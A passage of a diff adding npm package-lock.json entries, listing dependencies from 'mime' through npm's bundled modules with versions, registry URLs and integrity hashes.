}, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/min-document": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", + "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", + "dependencies": { + "dom-walk": "^0.1.0" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mini-create-react-context": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz", + "integrity": "sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==", + "dependencies": { + "@babel/runtime": "^7.12.1", + "tiny-warning": "^1.0.3" + }, + "peerDependencies": { + "prop-types": "^15.0.0", + "react": "^0.14.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==" + }, + "node_modules/minimist-options": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", + "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", + "dev": true, + "dependencies": { + "arrify": "^1.0.1", + "is-plain-obj": "^1.1.0", + "kind-of": "^6.0.3" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/mui-datatables": { + "version": "3.8.5", + "resolved": "https://registry.npmjs.org/mui-datatables/-/mui-datatables-3.8.5.tgz", + "integrity": "sha512-VS54Xkm5eXsPOUvzG3vXVjgSd2/nswwvhMK2D4PiHpV5MRJwfc6mdyuskh3s3jUi3NC8N+u7NsxX4pY14qaoKQ==", + "dependencies": { + "@babel/runtime-corejs3": "^7.12.1", + "clsx": "^1.1.1", + "lodash.assignwith": "^4.2.0", + "lodash.clonedeep": "^4.5.0", + "lodash.debounce": "^4.0.8", + "lodash.find": "^4.6.0", + "lodash.get": "^4.4.2", + "lodash.isequal": "^4.5.0", + "lodash.isundefined": "^3.0.1", + "lodash.memoize": "^4.1.2", + "lodash.merge": "^4.6.2", + "prop-types": "^15.7.2", + "react-dnd": "^11.1.3", + "react-dnd-html5-backend": "^11.1.3", + "react-sortable-tree": "^2.7.1", + "react-to-print": "^2.8.0" + }, + "peerDependencies": { + "@material-ui/core": "^4.12.0", + "@material-ui/icons": "^4.11.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + } + }, + "node_modules/multicast-dns": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", + "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", + "dev": true, + "dependencies": { + "dns-packet": "^1.3.1", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/multicast-dns-service-types": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz", + "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=", + "dev": true + }, + "node_modules/mute-stream": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", + "dev": true + }, + "node_modules/nanoid": { + "version": "2.1.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", + "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA==" + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "node_modules/nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true + }, + "node_modules/no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dev": true, + "dependencies": { + "lower-case": "^1.1.1" + } + }, + "node_modules/node-fetch": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", + "dependencies": { + "encoding": "^0.1.11", + "is-stream": "^1.0.1" + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "dev": true, + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-releases": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.2.tgz", + "integrity": "sha512-XxYDdcQ6eKqp/YjI+tb2C5WM2LgjnZrfYg4vgQt49EK268b6gYCHsBLrK2qvJo4FmCtqmKezb0WZFK4fkrZNsg==" + }, + "node_modules/noms": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", + "integrity": "sha1-2o69nzr51nYJGbJ9nNyAkqczKFk=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "~1.0.31" + } + }, + "node_modules/normalize-package-data": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", + "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^4.0.1", + "is-core-module": "^2.5.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/normalize-package-data/node_modules/semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-selector": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/normalize-selector/-/normalize-selector-0.2.0.tgz", + "integrity": "sha1-0LFF62kRicY6eNIB3E/bEpPvDAM=", + "dev": true + }, + "node_modules/normalize.css": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-8.0.1.tgz", + "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" + }, + "node_modules/npm": { + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/npm/-/npm-7.24.2.tgz", + "integrity": "sha512-120p116CE8VMMZ+hk8IAb1inCPk4Dj3VZw29/n2g6UI77urJKVYb7FZUDW8hY+EBnfsjI/2yrobBgFyzo7YpVQ==", + "bundleDependencies": [ + "@isaacs/string-locale-compare", + "@npmcli/arborist", + "@npmcli/ci-detect", + "@npmcli/config", + "@npmcli/map-workspaces", + "@npmcli/package-json", + "@npmcli/run-script", + "abbrev", + "ansicolors", + "ansistyles", + "archy", + "cacache", + "chalk", + "chownr", + "cli-columns", + "cli-table3", + "columnify", + "fastest-levenshtein", + "glob", + "graceful-fs", + "hosted-git-info", + "ini", + "init-package-json", + "is-cidr", + "json-parse-even-better-errors", + "libnpmaccess", + "libnpmdiff", + "libnpmexec", + "libnpmfund", + "libnpmhook", + "libnpmorg", + "libnpmpack", + "libnpmpublish", + "libnpmsearch", + "libnpmteam", + "libnpmversion", + "make-fetch-happen", + "minipass", + "minipass-pipeline", + "mkdirp", + "mkdirp-infer-owner", + "ms", + "node-gyp", + "nopt", + "npm-audit-report", + "npm-install-checks", + "npm-package-arg", + "npm-pick-manifest", + "npm-profile", + "npm-registry-fetch", + "npm-user-validate", + "npmlog", + "opener", + "pacote", + "parse-conflict-json", + "qrcode-terminal", + "read", + "read-package-json", + "read-package-json-fast", + "readdir-scoped-modules", + "rimraf", + "semver", + "ssri", + "tar", + "text-table", + "tiny-relative-date", + "treeverse", + "validate-npm-package-name", + "which", + "write-file-atomic" + ], + "dev": true, + "dependencies": { + "@isaacs/string-locale-compare": "*", + "@npmcli/arborist": "*", + "@npmcli/ci-detect": "*", + "@npmcli/config": "*", + "@npmcli/map-workspaces": "*", + "@npmcli/package-json": "*", + "@npmcli/run-script": "*", + "abbrev": "*", + "ansicolors": "*", + "ansistyles": "*", + "archy": "*", + "cacache": "*", + "chalk": "*", + "chownr": "*", + "cli-columns": "*", + "cli-table3": "*", + "columnify": "*", + "fastest-levenshtein": "*", + "glob": "*", + "graceful-fs": "*", + "hosted-git-info": "*", + "ini": "*", + "init-package-json": "*", + "is-cidr": "*", + "json-parse-even-better-errors": "*", + "libnpmaccess": "*", + "libnpmdiff": "*", + "libnpmexec": "*", + "libnpmfund": "*", + "libnpmhook": "*", + "libnpmorg": "*", + "libnpmpack": "*", + "libnpmpublish": "*", + "libnpmsearch": "*", + "libnpmteam": "*", + "libnpmversion": "*", + "make-fetch-happen": "*", + "minipass": "*", + "minipass-pipeline": "*", + "mkdirp": "*", + "mkdirp-infer-owner": "*", + "ms": "*", + "node-gyp": "*", + "nopt": "*", + "npm-audit-report": "*", + "npm-install-checks": "*", + "npm-package-arg": "*", + "npm-pick-manifest": "*", + "npm-profile": "*", + "npm-registry-fetch": "*", + "npm-user-validate": "*", + "npmlog": "*", + "opener": "*", + "pacote": "*", + "parse-conflict-json": "*", + "qrcode-terminal": "*", + "read": "*", + "read-package-json": "*", + "read-package-json-fast": "*", + "readdir-scoped-modules": "*", + "rimraf": "*", + "semver": "*", + "ssri": "*", + "tar": "*", + "text-table": "*", + "tiny-relative-date": "*", + "treeverse": "*", + "validate-npm-package-name": "*", + "which": "*", + "write-file-atomic": "*" + }, + "bin": { + "npm": "bin/npm-cli.js", + "npx": "bin/npx-cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/@gar/promisify": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/@isaacs/string-locale-compare": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/arborist": { + "version": "2.9.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@isaacs/string-locale-compare": "^1.0.1", + "@npmcli/installed-package-contents": "^1.0.7", + "@npmcli/map-workspaces": "^1.0.2", + "@npmcli/metavuln-calculator": "^1.1.0", + "@npmcli/move-file": "^1.1.0", + "@npmcli/name-from-folder": "^1.0.1", + "@npmcli/node-gyp": "^1.0.1", + "@npmcli/package-json": "^1.0.1", + "@npmcli/run-script": "^1.8.2", + "bin-links": "^2.2.1", + "cacache": "^15.0.3", + "common-ancestor-path": "^1.0.1", + "json-parse-even-better-errors": "^2.3.1", + "json-stringify-nice": "^1.1.4", + "mkdirp": "^1.0.4", + "mkdirp-infer-owner": "^2.0.0", + "npm-install-checks": "^4.0.0", + "npm-package-arg": "^8.1.5", + "npm-pick-manifest": "^6.1.0", + "npm-registry-fetch": "^11.0.0", + "pacote": "^11.3.5", + "parse-conflict-json": "^1.1.1", + "proc-log": "^1.0.0", + "promise-all-reject-late": "^1.0.0", + "promise-call-limit": "^1.0.1", + "read-package-json-fast": "^2.0.2", + "readdir-scoped-modules": "^1.1.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "ssri": "^8.0.1", + "treeverse": "^1.0.4", + "walk-up-path": "^1.0.0" + }, + "bin": { + "arborist": "bin/index.js" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/@npmcli/ci-detect": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/config": { + "version": "2.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "ini": "^2.0.0", + "mkdirp-infer-owner": "^2.0.0", + "nopt": "^5.0.0", + "semver": "^7.3.4", + "walk-up-path": "^1.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/disparity-colors": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "ansi-styles": "^4.3.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/fs": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@gar/promisify": "^1.0.1", + "semver": "^7.3.5" + } + }, + "node_modules/npm/node_modules/@npmcli/git": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/promise-spawn": "^1.3.2", + "lru-cache": "^6.0.0", + "mkdirp": "^1.0.4", + "npm-pick-manifest": "^6.1.1", + "promise-inflight": "^1.0.1", + "promise-retry": "^2.0.1", + "semver": "^7.3.5", + "which": "^2.0.2" + } + }, + "node_modules/npm/node_modules/@npmcli/installed-package-contents": { + "version": "1.0.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-bundled": "^1.1.1", + "npm-normalize-package-bin": "^1.0.1" + }, + "bin": { + "installed-package-contents": "index.js" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/@npmcli/map-workspaces": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/name-from-folder": "^1.0.1", + "glob": "^7.1.6", + "minimatch": "^3.0.4", + "read-package-json-fast": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/metavuln-calculator": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "cacache": "^15.0.5", + "pacote": "^11.1.11", + "semver": "^7.3.2" + } + }, + "node_modules/npm/node_modules/@npmcli/move-file": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/name-from-folder": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/node-gyp": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/package-json": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "json-parse-even-better-errors": "^2.3.1" + } + }, + "node_modules/npm/node_modules/@npmcli/promise-spawn": { + "version": "1.3.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "infer-owner": "^1.0.4" + } + }, + "node_modules/npm/node_modules/@npmcli/run-script": { + "version": "1.8.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/node-gyp": "^1.0.2", + "@npmcli/promise-spawn": "^1.3.2", + "node-gyp": "^7.1.0", + "read-package-json-fast": "^2.0.1" + } + }, + "node_modules/npm/node_modules/@tootallnate/once": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/abbrev": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/agent-base": { + "version": "6.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/npm/node_modules/agentkeepalive": { + "version": "4.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "depd": "^1.1.2", + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/npm/node_modules/aggregate-error": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/ajv": { + "version": "6.12.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/npm/node_modules/ansi-regex": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ansi-styles": { + "version": "4.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/npm/node_modules/ansicolors": { + "version": "0.3.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ansistyles": { + "version": "0.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/aproba": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/archy": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/are-we-there-yet": { + "version": "1.1.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/asap": { + "version": "2.0.6", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/asn1": { + "version": "0.2.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/npm/node_modules/assert-plus": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/asynckit": { + "version": "0.4.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/aws-sign2": { + "version": "0.7.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/aws4": { + "version": "1.11.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/balanced-match": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/npm/node_modules/bin-links": { + "version": "2.2.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "cmd-shim": "^4.0.1", + "mkdirp": "^1.0.3", + "npm-normalize-package-bin": "^1.0.0", + "read-cmd-shim": "^2.0.0", + "rimraf": "^3.0.0", + "write-file-atomic": "^3.0.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/binary-extensions": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/brace-expansion": { + "version": "1.1.11", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/npm/node_modules/builtins": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/cacache": { + "version": "15.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/fs": "^1.0.0", + "@npmcli/move-file": "^1.0.1", + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "glob": "^7.1.4", + "infer-owner": "^1.0.4", + "lru-cache": "^6.0.0", + "minipass": "^3.1.1", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.2", + "mkdirp": "^1.0.3", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.0.2", + "unique-filename": "^1.1.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/caseless": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0" + }, + "node_modules/npm/node_modules/chalk": { + "version": "4.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/npm/node_modules/chownr": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/cidr-regex": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "ip-regex": "^4.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/clean-stack": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/cli-columns": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "string-width": "^2.0.0", + "strip-ansi": "^3.0.1" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm/node_modules/cli-table3": { + "version": "0.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "object-assign": "^4.1.0", + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "colors": "^1.1.2" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/ansi-regex": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/string-width": { + "version": "4.2.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + 